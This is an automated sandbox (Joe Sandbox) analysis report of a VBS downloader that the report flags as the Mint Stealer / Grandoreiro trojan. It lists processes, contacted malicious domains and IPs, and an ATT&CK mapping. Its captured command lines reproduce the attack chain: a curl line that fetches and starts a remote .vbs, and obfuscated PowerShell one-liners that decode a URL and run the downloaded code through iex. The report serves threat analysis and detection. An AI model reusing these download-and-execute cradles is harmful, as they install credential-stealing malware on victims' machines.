Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2513	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8140	Thread sleep count: 6607 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8148	Thread sleep count: 3103 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4456	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5064	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6812	Thread sleep count: 7113 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8188	Thread sleep count: 2513 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3732	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3152	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: wscript.exe, 00000009.00000002.1805124153.0000018895652000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000003.1801477814.000001889564D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWV
Source: wscript.exe, 00000009.00000002.1806665767.00000188976B6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: wscript.exe, 00000006.00000002.1801446639.0000020665160000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.1805124153.0000018895652000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000002.1806665767.00000188976A2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000003.1801477814.000001889564D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: wscript.exe, 00000006.00000003.1797209827.0000020662B37000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000002.1800424693.0000020662B3C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBn
Source: wscript.exe, 00000009.00000002.1806665767.000001889773C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:
Source: wscript.exe, 00000006.00000003.1797209827.0000020662B37000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000002.1800424693.0000020662B3C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`
Source: curl.exe, 00000003.00000003.1714352503.000001F202003000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2329501580.00000176CFF41000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2326672030.0000010E72DCC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\wscript.exe

Network Connect: 78.138.9.153 443

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /V/D/c curl -k -o C:\Users\Public\676556be12aca.vbs https://file-download.bytez.cloud/676556be12355/676556be12aca.vbs	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /V/D/c start C:\Users\Public\676556be12aca.vbs	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /V/D/c start C:\Users\Public\676556be12aca.vbs	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -k -o C:\Users\Public\676556be12aca.vbs https://file-download.bytez.cloud/676556be12355/676556be12aca.vbs	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\Public\676556be12aca.vbs"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\wscript.exe" //E:jscript C:\Users\user\AppData\Local\Temp\ykgnts.js	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\Public\676556be12aca.vbs"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\wscript.exe" //E:jscript C:\Users\user\AppData\Local\Temp\jfwdec.js
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $vgefcqxzrt='ur' ;new-alias printout c$($vgefcqxzrt)l;$hfcvpezag=(1834,1845,1853,1837,1839,1834,1854,1853,1858,1791,1853,1787,1834,1782,1852,1847,1848,1783,1785,1782,1848,1840,1848,1799,1851,1797,1845,1841,1846,1852,1851,1786,1785);$tojrkpgbsvmcq=('bronx','get-cmdlet');$lspvtzafdqnegy=$hfcvpezag;foreach($bzgumhk in $lspvtzafdqnegy){$ontzid=$bzgumhk;$wzyatgcpjiv=$wzyatgcpjiv+[char]($ontzid-1736);$hmgrcuitvfb=$wzyatgcpjiv; $quvrzaxtinbgm=$hmgrcuitvfb};$mzxndfjebgh[2]=$quvrzaxtinbgm;$edsogfiw='rl';$hqukojaxyi=1;.$([char](9992-9887)+'e'+'x')(printout -useb $quvrzaxtinbgm)	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $bajznwdxfqyht='ur' ;new-alias printout c$($bajznwdxfqyht)l;$gqcbnpkvtwdlr=(5904,5915,5923,5907,5909,5904,5924,5923,5928,5861,5923,5857,5904,5852,5922,5917,5918,5853,5855,5852,5918,5910,5918,5869,5921,5867,5915,5911,5916,5922,5921,5856,5855);$otrdenu=('bronx','get-cmdlet');$ykcsfp=$gqcbnpkvtwdlr;foreach($qmotvzbud in $ykcsfp){$gbmykl=$qmotvzbud;$clsnkw=$clsnkw+[char]($gbmykl-5806);$gsqzfklidcjt=$clsnkw; $xedctq=$gsqzfklidcjt};$ifebnlk[2]=$xedctq;$hnafgyt='rl';$jrmstyaoedk=1;.$([char](9992-9887)+'e'+'x')(printout -useb $xedctq)	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\conhost.exe conhost --headless powershell $vgefcqxzrt='ur' ;new-alias printout c$($vgefcqxzrt)l;$hfcvpezag=(1834,1845,1853,1837,1839,1834,1854,1853,1858,1791,1853,1787,1834,1782,1852,1847,1848,1783,1785,1782,1848,1840,1848,1799,1851,1797,1845,1841,1846,1852,1851,1786,1785);$tojrkpgbsvmcq=('bronx','get-cmdlet');$lspvtzafdqnegy=$hfcvpezag;foreach($bzgumhk in $lspvtzafdqnegy){$ontzid=$bzgumhk;$wzyatgcpjiv=$wzyatgcpjiv+[char]($ontzid-1736);$hmgrcuitvfb=$wzyatgcpjiv; $quvrzaxtinbgm=$hmgrcuitvfb};$mzxndfjebgh[2]=$quvrzaxtinbgm;$edsogfiw='rl';$hqukojaxyi=1;.$([char](9992-9887)+'e'+'x')(printout -useb $quvrzaxtinbgm)
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $vgefcqxzrt='ur' ;new-alias printout c$($vgefcqxzrt)l;$hfcvpezag=(1834,1845,1853,1837,1839,1834,1854,1853,1858,1791,1853,1787,1834,1782,1852,1847,1848,1783,1785,1782,1848,1840,1848,1799,1851,1797,1845,1841,1846,1852,1851,1786,1785);$tojrkpgbsvmcq=('bronx','get-cmdlet');$lspvtzafdqnegy=$hfcvpezag;foreach($bzgumhk in $lspvtzafdqnegy){$ontzid=$bzgumhk;$wzyatgcpjiv=$wzyatgcpjiv+[char]($ontzid-1736);$hmgrcuitvfb=$wzyatgcpjiv; $quvrzaxtinbgm=$hmgrcuitvfb};$mzxndfjebgh[2]=$quvrzaxtinbgm;$edsogfiw='rl';$hqukojaxyi=1;.$([char](9992-9887)+'e'+'x')(printout -useb $quvrzaxtinbgm)
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\conhost.exe conhost --headless powershell $bajznwdxfqyht='ur' ;new-alias printout c$($bajznwdxfqyht)l;$gqcbnpkvtwdlr=(5904,5915,5923,5907,5909,5904,5924,5923,5928,5861,5923,5857,5904,5852,5922,5917,5918,5853,5855,5852,5918,5910,5918,5869,5921,5867,5915,5911,5916,5922,5921,5856,5855);$otrdenu=('bronx','get-cmdlet');$ykcsfp=$gqcbnpkvtwdlr;foreach($qmotvzbud in $ykcsfp){$gbmykl=$qmotvzbud;$clsnkw=$clsnkw+[char]($gbmykl-5806);$gsqzfklidcjt=$clsnkw; $xedctq=$gsqzfklidcjt};$ifebnlk[2]=$xedctq;$hnafgyt='rl';$jrmstyaoedk=1;.$([char](9992-9887)+'e'+'x')(printout -useb $xedctq)
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $bajznwdxfqyht='ur' ;new-alias printout c$($bajznwdxfqyht)l;$gqcbnpkvtwdlr=(5904,5915,5923,5907,5909,5904,5924,5923,5928,5861,5923,5857,5904,5852,5922,5917,5918,5853,5855,5852,5918,5910,5918,5869,5921,5867,5915,5911,5916,5922,5921,5856,5855);$otrdenu=('bronx','get-cmdlet');$ykcsfp=$gqcbnpkvtwdlr;foreach($qmotvzbud in $ykcsfp){$gbmykl=$qmotvzbud;$clsnkw=$clsnkw+[char]($gbmykl-5806);$gsqzfklidcjt=$clsnkw; $xedctq=$gsqzfklidcjt};$ifebnlk[2]=$xedctq;$hnafgyt='rl';$jrmstyaoedk=1;.$([char](9992-9887)+'e'+'x')(printout -useb $xedctq)
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $vgefcqxzrt='ur' ;new-alias printout c$($vgefcqxzrt)l;$hfcvpezag=(1834,1845,1853,1837,1839,1834,1854,1853,1858,1791,1853,1787,1834,1782,1852,1847,1848,1783,1785,1782,1848,1840,1848,1799,1851,1797,1845,1841,1846,1852,1851,1786,1785);$tojrkpgbsvmcq=('bronx','get-cmdlet');$lspvtzafdqnegy=$hfcvpezag;foreach($bzgumhk in $lspvtzafdqnegy){$ontzid=$bzgumhk;$wzyatgcpjiv=$wzyatgcpjiv+[char]($ontzid-1736);$hmgrcuitvfb=$wzyatgcpjiv; $quvrzaxtinbgm=$hmgrcuitvfb};$mzxndfjebgh[2]=$quvrzaxtinbgm;$edsogfiw='rl';$hqukojaxyi=1;.$([char](9992-9887)+'e'+'x')(printout -useb $quvrzaxtinbgm)	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $bajznwdxfqyht='ur' ;new-alias printout c$($bajznwdxfqyht)l;$gqcbnpkvtwdlr=(5904,5915,5923,5907,5909,5904,5924,5923,5928,5861,5923,5857,5904,5852,5922,5917,5918,5853,5855,5852,5918,5910,5918,5869,5921,5867,5915,5911,5916,5922,5921,5856,5855);$otrdenu=('bronx','get-cmdlet');$ykcsfp=$gqcbnpkvtwdlr;foreach($qmotvzbud in $ykcsfp){$gbmykl=$qmotvzbud;$clsnkw=$clsnkw+[char]($gbmykl-5806);$gsqzfklidcjt=$clsnkw; $xedctq=$gsqzfklidcjt};$ifebnlk[2]=$xedctq;$hnafgyt='rl';$jrmstyaoedk=1;.$([char](9992-9887)+'e'+'x')(printout -useb $xedctq)	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Mint Stealer

Source: Yara match	File source: 0000000F.00000002.2262573859.0000010E58C0B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 8032, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 8100, type: MEMORYSTR

Remote Access Functionality

Yara detected Mint Stealer

Source: Yara match	File source: 0000000F.00000002.2262573859.0000010E58C0B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 8032, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 8100, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	121 Scripting	Valid Accounts	11 Windows Management Instrumentation	121 Scripting	111 Process Injection	1 Masquerading	OS Credential Dumping	1 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	21 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	111 Process Injection	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	13 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
676556be12ac3.vbs	7%	Virustotal		Browse
676556be12ac3.vbs	8%	ReversingLabs	Script-WScript.Trojan.Grandoreiro

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bmuegbvuz7u3b.top	206.188.197.242	true	true		unknown
file-download.bytez.cloud	78.138.9.153	true	true		unknown

Contacted URLs

Name	Malicious	Reputation
http://bmuegbvuz7u3b.top/1.php?s=mints21	true	unknown
https://file-download.bytez.cloud/list_files.php	true	unknown
https://file-download.bytez.cloud/js/ykgnts.txt	true	unknown
https://file-download.bytez.cloud/676556be12355/676556be12aca.vbs	true	unknown
https://file-download.bytez.cloud/js/jfwdec.txt	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://file-download.bytez.cloud/676556be12355/676556be12aca.vbse	curl.exe, 00000003.00000002.1714888731.000001F202006000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000003.00000003.1714352503.000001F202003000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://nuget.org/NuGet.exe	powershell.exe, 0000000D.00000002.2310139455.00000176C79D8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2263744169.00000176B9280000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2310139455.00000176C7895000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2264085173.0000010E5C2DE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2315473336.0000010E6A9A8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2315473336.0000010E6A866000.00000004.00000800.00020000.00000000.sdmp	false	high
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000000F.00000002.2264085173.0000010E5AA1C000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000000F.00000002.2264085173.0000010E5AA1C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://go.micro	powershell.exe, 0000000D.00000002.2263744169.00000176B844C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2264085173.0000010E5B41C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://contoso.com/License	powershell.exe, 0000000F.00000002.2315473336.0000010E6A866000.00000004.00000800.00020000.00000000.sdmp	false	high
https://contoso.com/Icon	powershell.exe, 0000000F.00000002.2315473336.0000010E6A866000.00000004.00000800.00020000.00000000.sdmp	false	high
https://file-download.bytez.cloud/v	wscript.exe, 00000006.00000003.1797209827.0000020662B6D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000002.1800424693.0000020662B6D000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://www.microsoft.	powershell.exe, 0000000D.00000002.2322203180.00000176CFCD8000.00000004.00000020.00020000.00000000.sdmp	false	high
http://bmuegbvuz7u3b.top	powershell.exe, 0000000D.00000002.2263744169.00000176B9244000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2263744169.00000176B927A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2263744169.00000176B902D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2264085173.0000010E5C236000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2264085173.0000010E5C224000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2264085173.0000010E5C211000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2264085173.0000010E5C068000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://file-download.bytez.cloud/jsnts.js	wscript.exe, 00000006.00000002.1801480778.00000206651A6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000003.1797655812.00000206651A6000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://file-download.bytez.cloud/ij	wscript.exe, 00000006.00000003.1797942994.0000020662ACC000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000006.00000002.1800007592.0000020662ACC000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://file-download.bytez.cloud/676556be12355/676556be12aca.vbsWinsta0	curl.exe, 00000003.00000002.1714853559.000001F201FF0000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://file-download.bytez.cloud/676556be12355/676556be12aca.vbsn	curl.exe, 00000003.00000003.1714352503.000001F202003000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://github.com/Pester/Pester	powershell.exe, 0000000F.00000002.2264085173.0000010E5AA1C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://file-download.bytez.cloud/	wscript.exe, 00000009.00000002.1804652027.00000188955D6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000003.1801477814.0000018895680000.00000004.00000020.00020000.00000000.sdmp, 676556be12aca.vbs.3.dr	false	unknown
https://file-download.bytez.cloud/676556be12355/676556be12aca.vbsD	curl.exe, 00000003.00000002.1714853559.000001F201FF0000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://file-download.bytez.cloud/676556be12355/676556be12aca.vbsG	curl.exe, 00000003.00000002.1714888731.000001F202006000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000003.00000003.1714352503.000001F202003000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://file-download.bytez.cloud/676556be12355/676556be12aca.vbscurl	curl.exe, 00000003.00000002.1714853559.000001F201FF0000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://file-download.bytez.cloud/jsdec.js	wscript.exe, 00000009.00000002.1806665767.00000188976E6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000003.1802818785.00000188976E6000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://file-download.bytez.clou	wscript.exe, 00000000.00000002.1791852784.000002BA48525000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://file-download.bytez.cloud/676556be12355/676556be12aca.vbs?	wscript.exe, 00000000.00000003.1790570879.000002BA485C0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1792190612.000002BA485C2000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://contoso.com/	powershell.exe, 0000000F.00000002.2315473336.0000010E6A866000.00000004.00000800.00020000.00000000.sdmp	false	high
https://nuget.org/nuget.exe	powershell.exe, 0000000D.00000002.2310139455.00000176C79D8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2310139455.00000176C7895000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2315473336.0000010E6A9A8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2315473336.0000010E6A866000.00000004.00000800.00020000.00000000.sdmp	false	high
http://go.microsoft.c	powershell.exe, 0000000F.00000002.2262573859.0000010E58C0B000.00000004.00000020.00020000.00000000.sdmp	false	high
http://go.microsoft.ctain	powershell.exe, 0000000F.00000002.2262573859.0000010E58C0B000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://aka.ms/pscore68	powershell.exe, 0000000D.00000002.2263744169.00000176B7821000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2264085173.0000010E5A7F1000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 0000000D.00000002.2263744169.00000176B7821000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2264085173.0000010E5A7F1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://file-download.bytez.cloud/Q	wscript.exe, 00000009.00000002.1805124153.0000018895680000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000009.00000003.1801477814.0000018895680000.00000004.00000020.00020000.00000000.sdmp	false	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
78.138.9.153	file-download.bytez.cloud	United Kingdom		8513	SKYVISIONGB	true
206.188.197.242	bmuegbvuz7u3b.top	United States		55002	DEFENSE-NETUS	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1578783
Start date and time:	2024-12-20 12:47:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
